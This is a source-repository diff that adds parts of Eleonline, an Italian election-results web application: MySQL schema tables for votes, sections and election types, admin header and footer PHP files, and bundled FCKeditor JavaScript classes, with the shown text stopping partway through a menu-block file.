+CREATE TABLE IF NOT EXISTS `soraldo_ele_operatori` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_sede` int(11) NOT NULL default '0',
+  `id_comune` int(11) NOT NULL default '0',
+  `permessi` int(3) default NULL,
+  `aid` varchar(25) NOT NULL default '',
+  UNIQUE KEY `id_cons_aid` (`id_cons`,`aid`,`id_comune`),
+  KEY `id_circ` (`id_comune`),
+  KEY `id_sede` (`id_sede`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_province` (
+  `id` tinyint(11) NOT NULL,
+  `descrizione` varchar(30) NOT NULL
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_regioni` (
+  `id` int(11) NOT NULL,
+  `descrizione` varchar(25) NOT NULL,
+  PRIMARY KEY  (`id`),
+  KEY `descrizione` (`descrizione`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_rilaff` (
+  `id_cons_gen` int(11) NOT NULL default '0',
+  `orario` time NOT NULL default '00:00:00',
+  `data` date NOT NULL default '0000-00-00',
+  KEY `id_cons_gen` (`id_cons_gen`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_sede` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_sede` int(11) NOT NULL auto_increment,
+  `id_circ` int(11) NOT NULL default '0',
+  `indirizzo` varchar(50) default NULL,
+  `telefono1` varchar(12) default NULL,
+  `telefono2` varchar(12) default NULL,
+  `fax` varchar(12) default NULL,
+  `responsabile` varchar(60) default NULL,
+  `mappa` blob NOT NULL,
+  `filemappa` varchar(100) NOT NULL default '',
+  PRIMARY KEY  (`id_sede`),
+  KEY `id_cons` (`id_cons`),
+  KEY `id_circ` (`id_circ`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_servizi` (
+  `id_cons` int(11) NOT NULL default '0',
+  `mid` int(7) NOT NULL auto_increment,
+  `title` varchar(150) NOT NULL default '',
+  `preamble` text NOT NULL,
+  `content` text NOT NULL,
+  `editimage` varchar(100) NOT NULL default '',
+  PRIMARY KEY  (`mid`),
+  KEY `id_cons` (`id_cons`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+
+
+
+
+CREATE TABLE `soraldo_ele_sezioni` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_sez` int(11) NOT NULL auto_increment,
+  `id_sede` int(11) NOT NULL default '0',
+  `num_sez` int(7) NOT NULL default '0',
+  `maschi` int(4) default NULL,
+  `femmine` int(4) default NULL,
+  `validi` int(7) NOT NULL default '0',
+  `nulli` int(7) NOT NULL default '0',
+  `bianchi` int(7) NOT NULL default '0',
+  `contestati` int(7) NOT NULL default '0',
+  `solo_gruppo` int(7) NOT NULL default '0',
+  `autorizzati_m` int(4) NOT NULL default '0',
+  `autorizzati_f` int(4) NOT NULL default '0',
+  `voti_nulli` int(7) NOT NULL default '0',
+  `validi_lista` int(7) NOT NULL default '0',
+  `contestati_lista` int(7) NOT NULL default '0',
+  `voti_nulli_lista` int(7) NOT NULL default '0',
+  UNIQUE KEY `id_sezi` (`id_sez`),
+  KEY `id_cons` (`id_cons`),
+  KEY `id_sede` (`id_sede`)
+) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_tipo` (
+  `tipo_cons` int(11) NOT NULL default '0',
+  `descrizione` varchar(20) default NULL,
+  `lingua` varchar(2) NOT NULL default '0',
+  `genere` tinyint(4) NOT NULL default '0',
+  `voto_g` enum('0','1') NOT NULL default '0',
+  `voto_l` enum('0','1') NOT NULL default '0',
+  `voto_c` enum('0','1') NOT NULL default '0',
+  `circo` enum('0','1') NOT NULL default '0',
+  PRIMARY KEY  (`tipo_cons`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+
+INSERT INTO `soraldo_ele_tipo` (`tipo_cons`, `descrizione`, `lingua`, `genere`, `voto_g`, `voto_l`, `voto_c`, `circo`) VALUES 
+(1, 'PROVINCIALI', 'it', 3, '0', '0', '0', '0'),
+(2, 'REFERENDUM', 'it', 0, '0', '0', '0', '0'),
+(3, 'COMUNALI', 'it', 5, '0', '0', '0', '0'),
+(4, 'CIRCOSCRIZIONALI', 'it', 5, '0', '0', '0', '1'),
+(5, 'BALLOTTAGGIO', 'it', 1, '0', '1', '0', '0'),
+(6, 'CAMERA', 'it', 4, '0', '0', '1', '0'),
+(7, 'SENATO', 'it', 4, '0', '0', '1', '0'),
+(8, 'EUROPEE', 'it', 4, '0', '0', '0', '0'),
+(9, 'REGIONALI', 'it', 5, '0', '0', '0', '0'),
+(10, 'SENATO CON GRUPPI', 'it', 5, '1', '0', '1', '0'),
+(11, 'CAMERA CON GRUPPI', 'it', 5, '1', '0', '1', '0');
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_voti_candidati` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_cand` int(11) NOT NULL default '0',
+  `id_sez` int(11) NOT NULL default '0',
+  `voti` int(7) NOT NULL default '0',
+  KEY `id_sez` (`id_sez`),
+  KEY `id_cand` (`id_cand`),
+  KEY `id_cons` (`id_cons`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_voti_gruppo` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_gruppo` int(11) NOT NULL default '0',
+  `id_sez` int(11) NOT NULL default '0',
+  `voti` int(7) NOT NULL default '0',
+  KEY `id_cons` (`id_cons`),
+  KEY `id_gruppo` (`id_gruppo`),
+  KEY `id_sez` (`id_sez`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_voti_lista` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_lista` int(11) NOT NULL default '0',
+  `id_sez` int(11) NOT NULL default '0',
+  `voti` int(7) NOT NULL default '0',
+  KEY `cons` (`id_cons`),
+  KEY `id_lista` (`id_lista`),
+  KEY `id_sez` (`id_sez`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_voti_parziale` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_sez` int(11) NOT NULL default '0',
+  `id_parz` int(11) NOT NULL auto_increment,
+  `orario` time NOT NULL default '00:00:00',
+  `data` date NOT NULL default '0000-00-00',
+  `voti_uomini` int(7) NOT NULL default '0',
+  `voti_donne` int(7) NOT NULL default '0',
+  `voti_complessivi` int(7) NOT NULL default '0',
+  `id_gruppo` int(11) NOT NULL default '0',
+  PRIMARY KEY  (`id_parz`),
+  KEY `id_cons` (`id_cons`),
+  KEY `id_sez` (`id_sez`),
+  KEY `id_gruppo` (`id_gruppo`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1 AUTO_INCREMENT=1 ;
+
+
+
+
+
+CREATE TABLE IF NOT EXISTS `soraldo_ele_voti_ref` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_gruppo` int(11) NOT NULL default '0',
+  `id_sez` int(11) NOT NULL default '0',
+  `si` int(7) default '0',
+  `no` int(7) default '0',
+  `validi` int(7) default '0',
+  `nulli` int(7) default '0',
+  `bianchi` int(7) default '0',
+  `contestati` int(7) default '0',
+  KEY `id_cons` (`id_cons`),
+  KEY `id_gruppo` (`id_gruppo`),
+  KEY `id_sez` (`id_sez`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+
Index: /trunk/elezioni/trunk/admin/footer.php
===================================================================
--- /trunk/elezioni/trunk/admin/footer.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/footer.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+$PHP_SELF=$_SERVER['PHP_SELF'];
+if (preg_match("/footer.php/i",$PHP_SELF)) {
+    Header("Location: admin.php");
+    die();
+}
+echo "</td></tr><tr><td>";
+
+
+
+/************************************************************************/
+/*    LE SEGUENTI LINEE DI PROGRAMMA NON DEVONO ESSERE MODIFICATE       */
+/************************************************************************/
+echo "<table width=\"100%\"  border=\"0\" cellpadding=\"0\" cellspacing=\"0\">
+<tr bgcolor=\"#000000\"><td align=\"right\">
+<b><font color=\"#ffffff\"><a href=\"http://www.eleonline.it\" target=\"eleonline\">
+
+Eleonline vers.2.0 @2009 <img src=\"modules/Elezioni/images/ico.jpg\" border=\"0\" alt=\"Eleonline\" align=\"middle\"></a> "._GESTIONE." by r.gigli & l.apolito</font></b></td></tr></table>";
+echo "</td></tr></table></div>";
+echo "</body>\n"
+
+."</html>";
+die();
+?>
Index: /trunk/elezioni/trunk/admin/header.php
===================================================================
--- /trunk/elezioni/trunk/admin/header.php	(revision 44)
+++ /trunk/elezioni/trunk/admin/header.php	(revision 44)
@@ -0,0 +1,49 @@
+<?php
+/************************************************************************/
+/* Eleonline - Raccolta e diffusione dei dati elettorali                */
+/* by Roberto Gigli & Luciano Apolito                                   */
+/* http://www.eleonline.it                                              */
+/* info@eleonline.it  luciano@aniene.net rgigli@libero.it               */
+/************************************************************************/
+
+
+if (!defined('ADMIN_FILE')) {
+    die ("You can't access this file directly...");
+}
+
+#include("config.php");
+#$dbi = mysql_connect($dbhost, $dbuname, $dbpass);
+#mysql_select_db($dbname);
+	if (isset($param['language'])) {
+		$_SESSION['lang']=substr($param['language'],0,2);
+		$lang=$_SESSION['lang'];
+	}
+	elseif (strlen($_SESSION['lang'])==2) $lang=$_SESSION['lang'];
+	else $lang=$language;
+if ($_SESSION['tema']=='facebook')
+	$tema=$_SESSION['tema'];
+else $tema='default';
+include("temi/$tema/index.php"); 
+include("modules/Elezioni/language/lang-$lang.php");
+
+$bgcolor1="#b0b0b0";
+function head() {
+	global $csv,$tema;
+    echo "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n";
+    echo "<html>\n";
+    echo "<head>\n";
+	echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n";
+	echo "<meta http-equiv=\"Pragma\" content=\"no-cache\">\n";
+    echo "<title>Eleonline - Elezioni on line</title>\n";
+    echo "<LINK REL=\"StyleSheet\" HREF=\"temi/$tema/style.css\" TYPE=\"text/css\">\n\n\n";
+    echo "\n\n\n</head>\n<body style=\"background-image: url(temi/$tema/images/sfondo.jpg);\">";
+    if (!$csv)testata($tema);
+    
+
+}
+
+
+head();
+
+
+?>
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckcontextmenu.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckcontextmenu.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckcontextmenu.js	(revision 44)
@@ -0,0 +1,123 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckcontextmenu.js
+ * 	FCKContextMenu Class: renders an control a context menu.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKContextMenu = function( parentWindow, mouseClickWindow, langDir )
+{
+	var oPanel = this._Panel = new FCKPanel( parentWindow, true ) ;
+	oPanel.AppendStyleSheet( FCKConfig.SkinPath + 'fck_editor.css' ) ;
+	oPanel.IsContextMenu = true ;
+	
+	var oMenuBlock = this._MenuBlock = new FCKMenuBlock() ;
+	oMenuBlock.Panel = oPanel ;
+	oMenuBlock.OnClick = FCKTools.CreateEventListener( FCKContextMenu_MenuBlock_OnClick, this ) ;
+	
+	this._Redraw = true ;
+	
+	this.SetMouseClickWindow( mouseClickWindow || parentWindow ) ;
+}
+
+
+FCKContextMenu.prototype.SetMouseClickWindow = function( mouseClickWindow )
+{
+	if ( !FCKBrowserInfo.IsIE )
+	{
+		this._Document = mouseClickWindow.document ;
+		this._Document.addEventListener( 'contextmenu', FCKContextMenu_Document_OnContextMenu, false ) ;
+	}
+}
+
+FCKContextMenu.prototype.AddItem = function( name, label, iconPathOrStripInfoArrayOrIndex, isDisabled )
+{
+	var oItem = this._MenuBlock.AddItem( name, label, iconPathOrStripInfoArrayOrIndex, isDisabled) ;
+	this._Redraw = true ;
+	return oItem ;
+}
+
+FCKContextMenu.prototype.AddSeparator = function()
+{
+	this._MenuBlock.AddSeparator() ;
+	this._Redraw = true ;
+}
+
+FCKContextMenu.prototype.RemoveAllItems = function()
+{
+	this._MenuBlock.RemoveAllItems() ;
+	this._Redraw = true ;
+}
+
+FCKContextMenu.prototype.AttachToElement = function( element )
+{
+	if ( FCKBrowserInfo.IsIE )
+		FCKTools.AddEventListenerEx( element, 'contextmenu', FCKContextMenu_AttachedElement_OnContextMenu, this ) ;
+	else
+		element._FCKContextMenu = this ;
+
+//	element.onmouseup		= FCKContextMenu_AttachedElement_OnMouseUp ;
+}
+
+function FCKContextMenu_Document_OnContextMenu( e )
+{
+	var el = e.target ;
+	
+	while ( el )
+	{
+		if ( el._FCKContextMenu )
+		{
+			FCKTools.CancelEvent( e ) ;
+			FCKContextMenu_AttachedElement_OnContextMenu( e, el._FCKContextMenu, el ) ;
+		}
+		el = el.parentNode ;
+	}
+}
+
+function FCKContextMenu_AttachedElement_OnContextMenu( ev, fckContextMenu, el )
+{
+//	var iButton = e ? e.which - 1 : event.button ;
+
+//	if ( iButton != 2 )
+//		return ;
+
+	var eTarget = el || this ;
+
+	if ( fckContextMenu.OnBeforeOpen )
+		fckContextMenu.OnBeforeOpen.call( fckContextMenu, eTarget ) ;
+
+	if ( fckContextMenu._MenuBlock.Count() == 0 )
+		return false ;
+	
+	if ( fckContextMenu._Redraw )
+	{
+		fckContextMenu._MenuBlock.Create( fckContextMenu._Panel.MainNode ) ;
+		fckContextMenu._Redraw = false ;
+	}
+
+	fckContextMenu._Panel.Show( 
+		ev.pageX || ev.screenX, 
+		ev.pageY || ev.screenY, 
+		ev.currentTarget || null
+	) ;
+	
+	return false ;
+}
+
+function FCKContextMenu_MenuBlock_OnClick( menuItem, contextMenu )
+{
+	contextMenu._Panel.Hide() ;
+	FCKTools.RunFunction( contextMenu.OnItemClick, contextMenu, menuItem ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckeditingarea.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckeditingarea.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckeditingarea.js	(revision 44)
@@ -0,0 +1,190 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckeditingarea.js
+ * 	FCKEditingArea Class: renders an editable area.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+/**
+ * @constructor
+ * @param {String} targetElement The element that will hold the editing area. Any child element present in the target will be deleted.
+ */
+var FCKEditingArea = function( targetElement )
+{
+	this.TargetElement = targetElement ;
+	this.Mode = FCK_EDITMODE_WYSIWYG ;
+
+	if ( FCK.IECleanup )
+		FCK.IECleanup.AddItem( this, FCKEditingArea_Cleanup ) ;
+}
+
+
+/**
+ * @param {String} html The complete HTML for the page, including DOCTYPE and the <html> tag.
+ */
+FCKEditingArea.prototype.Start = function( html, secondCall )
+{
+	var eTargetElement	= this.TargetElement ;
+	var oTargetDocument	= FCKTools.GetElementDocument( eTargetElement ) ;
+	
+	// Remove all child nodes from the target.
+	while( eTargetElement.childNodes.length > 0 )
+		eTargetElement.removeChild( eTargetElement.childNodes[0] ) ;
+
+	if ( this.Mode == FCK_EDITMODE_WYSIWYG )
+	{
+		if ( FCKBrowserInfo.IsGecko )
+			html = html.replace( /(<body[^>]*>)\s*(<\/body>)/i, '$1' + GECKO_BOGUS + '$2' ) ;
+	
+		// Create the editing area IFRAME.
+		var oIFrame = this.IFrame = oTargetDocument.createElement( 'iframe' ) ;
+		oIFrame.src = 'javascript:void(0)' ;
+		oIFrame.frameBorder = 0 ;
+		oIFrame.width = oIFrame.height = '100%' ;
+		
+		// Append the new IFRAME to the target.
+		eTargetElement.appendChild( oIFrame ) ;
+		
+		// IE has a bug with the <base> tag... it must have a </base> closer,
+		// otherwise the all sucessive tags will be set as children nodes of the <base>.
+		if ( FCKBrowserInfo.IsIE )
+			html = html.replace( /(<base[^>]*?)\s*\/?>(?!\s*<\/base>)/gi, '$1></base>' ) ;
+
+		// Get the window and document objects used to interact with the newly created IFRAME.
+		this.Window = oIFrame.contentWindow ;
+		
+		// IE: Avoid JavaScript errors thrown by the editing are source (like tags events).
+		// TODO: This error handler is not being fired.
+		// this.Window.onerror = function() { alert( 'Error!' ) ; return true ; }
+
+		var oDoc = this.Document = this.Window.document ;
+		
+		oDoc.open() ;
+		oDoc.write( html ) ;
+		oDoc.close() ;
+		
+		// Firefox 1.0.x is buggy... ohh yes... so let's do it two times and it
+		// will magicaly work.
+		if ( FCKBrowserInfo.IsGecko10 && !secondCall )
+		{
+			this.Start( html, true ) ;
+			return ;
+		}
+		
+		this.Window._FCKEditingArea = this ;
+		
+		// FF 1.0.x is buggy... we must wait a lot to enable editing because
+		// sometimes the content simply disappears, for example when pasting
+		// "bla1!<img src='some_url'>!bla2" in the source and then switching
+		// back to design.
+		if ( FCKBrowserInfo.IsGecko10 )
+			this.Window.setTimeout( FCKEditingArea_CompleteStart, 500 ) ;
+		else
+			FCKEditingArea_CompleteStart.call( this.Window ) ;
+	}
+	else
+	{
+		var eTextarea = this.Textarea = oTargetDocument.createElement( 'textarea' ) ; 
+		eTextarea.className = 'SourceField' ;
+		eTextarea.dir = 'ltr' ;
+		eTextarea.style.width = eTextarea.style.height = '100%' ;
+		eTextarea.style.border = 'none' ;
+		eTargetElement.appendChild( eTextarea ) ;
+
+		eTextarea.value = html  ;
+
+		// Fire the "OnLoad" event.
+		FCKTools.RunFunction( this.OnLoad ) ;
+	}
+}
+
+// "this" here is FCKEditingArea.Window 
+function FCKEditingArea_CompleteStart()
+{
+	// Of Firefox, the DOM takes a little to become available. So we must wait for it in a loop.
+	if ( !this.document.body )
+	{
+		this.setTimeout( FCKEditingArea_CompleteStart, 50 ) ;
+		return ;
+	}
+	
+	var oEditorArea = this._FCKEditingArea ;
+	oEditorArea.MakeEditable() ;
+	
+	// Fire the "OnLoad" event.
+	FCKTools.RunFunction( oEditorArea.OnLoad ) ;
+}
+
+FCKEditingArea.prototype.MakeEditable = function()
+{
+	var oDoc = this.Document ;
+
+	if ( FCKBrowserInfo.IsIE )
+		oDoc.body.contentEditable = true ;
+	else
+	{
+		try
+		{
+			oDoc.designMode = 'on' ;
+
+			// Tell Gecko to use or not the <SPAN> tag for the bold, italic and underline.
+			oDoc.execCommand( 'useCSS', false, !FCKConfig.GeckoUseSPAN ) ;
+
+			// Analysing Firefox 1.5 source code, it seams that there is support for a 
+			// "insertBrOnReturn" command. Applying it gives no error, but it doesn't 
+			// gives the same behavior that you have with IE. It works only if you are
+			// already inside a paragraph and it doesn't render correctly in the first enter.
+			// oDoc.execCommand( 'insertBrOnReturn', false, false ) ;
+
+			// Tell Gecko (Firefox 1.5+) to enable or not live resizing of objects (by Alfonso Martinez)
+			oDoc.execCommand( 'enableObjectResizing', false, !FCKConfig.DisableObjectResizing ) ;
+			
+			// Disable the standard table editing features of Firefox.
+			oDoc.execCommand( 'enableInlineTableEditing', false, !FCKConfig.DisableFFTableHandles ) ;
+		}
+		catch (e) {}
+	}
+}
+
+FCKEditingArea.prototype.Focus = function()
+{
+	try
+	{
+		if ( this.Mode == FCK_EDITMODE_WYSIWYG )
+		{
+			if ( FCKBrowserInfo.IsSafari )
+				this.IFrame.focus() ;
+			else
+				this.Window.focus() ;
+		}
+		else
+			this.Textarea.focus() ;
+	}
+	catch(e) {}
+}
+
+function FCKEditingArea_Cleanup()
+{
+	this.TargetElement = null ;
+	this.IFrame = null ;
+	this.Document = null ;
+	this.Textarea = null ;
+	
+	if ( this.Window )
+	{
+		this.Window._FCKEditingArea = null ;
+		this.Window = null ;
+	}
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckevents.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckevents.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckevents.js	(revision 44)
@@ -0,0 +1,51 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckevents.js
+ * 	FCKEvents Class: used to handle events is a advanced way.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKEvents ;
+
+FCKEvents = function( eventsOwner )
+{
+	this.Owner = eventsOwner ;
+	this.RegisteredEvents = new Object() ;
+}
+
+FCKEvents.prototype.AttachEvent = function( eventName, functionPointer )
+{
+	var aTargets ;
+
+	if ( !( aTargets = this.RegisteredEvents[ eventName ] ) ) 
+		this.RegisteredEvents[ eventName ] = [ functionPointer ] ;
+	else
+		aTargets.push( functionPointer ) ;
+}
+
+FCKEvents.prototype.FireEvent = function( eventName, params )
+{
+	var bReturnValue = true ;
+
+	var oCalls = this.RegisteredEvents[ eventName ] ;
+
+	if ( oCalls )
+	{
+		for ( var i = 0 ; i < oCalls.length ; i++ )
+			bReturnValue = ( oCalls[ i ]( this.Owner, params ) && bReturnValue ) ;
+	}
+
+	return bReturnValue ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckicon.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckicon.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckicon.js	(revision 44)
@@ -0,0 +1,94 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckicon.js
+ * 	FCKIcon Class: renders an icon from a single image, a strip or even a
+ * 	spacer.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKIcon = function( iconPathOrStripInfoArray )
+{
+	var sTypeOf = iconPathOrStripInfoArray ? typeof( iconPathOrStripInfoArray ) : 'undefined' ;
+	switch ( sTypeOf )
+	{
+		case 'number' :
+			this.Path = FCKConfig.SkinPath + 'fck_strip.gif' ;
+			this.Size = 16 ;
+			this.Position = iconPathOrStripInfoArray ;
+			break ;
+		
+		case 'undefined' :
+			this.Path = FCK_SPACER_PATH ;
+			break ;
+		
+		case 'string' :
+			this.Path = iconPathOrStripInfoArray ;
+			break ;
+		
+		default :
+			// It is an array in the format [ StripFilePath, IconSize, IconPosition ]
+			this.Path		= iconPathOrStripInfoArray[0] ;
+			this.Size		= iconPathOrStripInfoArray[1] ;
+			this.Position	= iconPathOrStripInfoArray[2] ;
+	}
+}
+
+FCKIcon.prototype.CreateIconElement = function( document )
+{
+	var eIcon ;
+	
+	if ( this.Position )		// It is using an icons strip image.
+	{
+		var sPos = '-' + ( ( this.Position - 1 ) * this.Size ) + 'px' ;
+	
+		if ( FCKBrowserInfo.IsIE )
+		{
+			// <div class="TB_Button_Image"><img src="strip.gif" style="top:-16px"></div>
+			
+			eIcon = document.createElement( 'DIV' ) ;
+			
+			var eIconImage = eIcon.appendChild( document.createElement( 'IMG' ) ) ;
+			eIconImage.src = this.Path ;
+			eIconImage.style.top = sPos ;
+		}
+		else
+		{
+			// <img class="TB_Button_Image" src="spacer.gif" style="background-position: 0px -16px;background-image: url(strip.gif);">
+			
+			eIcon = document.createElement( 'IMG' ) ;
+			eIcon.src = FCK_SPACER_PATH ;
+			eIcon.style.backgroundPosition	= '0px ' + sPos ;
+			eIcon.style.backgroundImage		= 'url(' + this.Path + ')' ;
+		}
+	}
+	else					// It is using a single icon image.
+	{
+		// This is not working well with IE. See notes bellow.
+		// <img class="TB_Button_Image" src="smiley.gif">
+//		eIcon = document.createElement( 'IMG' ) ;
+//		eIcon.src = this.Path ? this.Path : FCK_SPACER_PATH ;
+
+		// IE makes the button 1px higher if using the <img> directly, so we
+		// are changing to the <div> system to clip the image correctly.
+		eIcon = document.createElement( 'DIV' ) ;
+		
+		var eIconImage = eIcon.appendChild( document.createElement( 'IMG' ) ) ;
+		eIconImage.src = this.Path ? this.Path : FCK_SPACER_PATH ;
+	}
+	
+	eIcon.className = 'TB_Button_Image' ;
+
+	return eIcon ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckiecleanup.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckiecleanup.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckiecleanup.js	(revision 44)
@@ -0,0 +1,51 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckiecleanup.js
+ * 	FCKIECleanup Class: a generic class used as a tool to remove IE leaks.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+
+var	FCKIECleanup = function( attachWindow )
+{
+
+	this.Items = new Array() ;
+
+	attachWindow._FCKCleanupObj = this ;
+	attachWindow.attachEvent( 'onunload', FCKIECleanup_Cleanup ) ;	
+}
+	
+FCKIECleanup.prototype.AddItem = function( dirtyItem, cleanupFunction )
+{
+	this.Items.push( [ dirtyItem, cleanupFunction ] ) ;
+}
+	
+function FCKIECleanup_Cleanup()
+{
+	var aItems = this._FCKCleanupObj.Items ;
+	var iLenght = aItems.length ;
+
+	for ( var i = 0 ; i < iLenght ; i++ )
+	{
+		var oItem = aItems[i] ;
+		oItem[1].call( oItem[0] ) ;
+		aItems[i] = null ;
+	}
+	
+	this._FCKCleanupObj = null ;
+	
+	if ( CollectGarbage )
+		CollectGarbage() ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckmenublock.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckmenublock.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/classes/fckmenublock.js	(revision 44)
@@ -0,0 +1,140 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckmenublock.js
+ * 	Renders a list of menu items.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+
+var FCKMenuBlock = function()
+{
+	this._Items	= new Array() ;
+}
+
+
+FCKMenuBlock.prototype.Count = function()
+{
+	return this._Items.length ;
+}
+
+FCKMenuBlock.prototype.AddItem = function( name, label, iconPathOrStripInfoArrayOrIndex, isDisabled )
+{
+	var oItem = new FCKMenuItem( this, name, label, iconPathOrStripInfoArrayOrIndex, isDisabled ) ;
+	
+	oItem.OnClick		= FCKTools.CreateEventListener( FCKMenuBlock_Item_OnClick, this ) ;
+	oItem.OnActivate	= FCKTools.CreateEventListener( FCKMenuBlock_Item_OnActivate, this ) ;
+	
+	this._Items.push( oItem ) ;
+
+	return oItem ;
+}
+
+FCKMenuBlock.prototype.AddSeparator = function()
+{
+	this._Items.push( new FCKMenuSeparator() ) ;
+}
+
+FCKMenuBlock.prototype.RemoveAllItems = function()
+{
+	this._Items = new Array() ;
+	
+	var eItemsTable = this._ItemsTable ;
+	if ( eItemsTable )
+	{
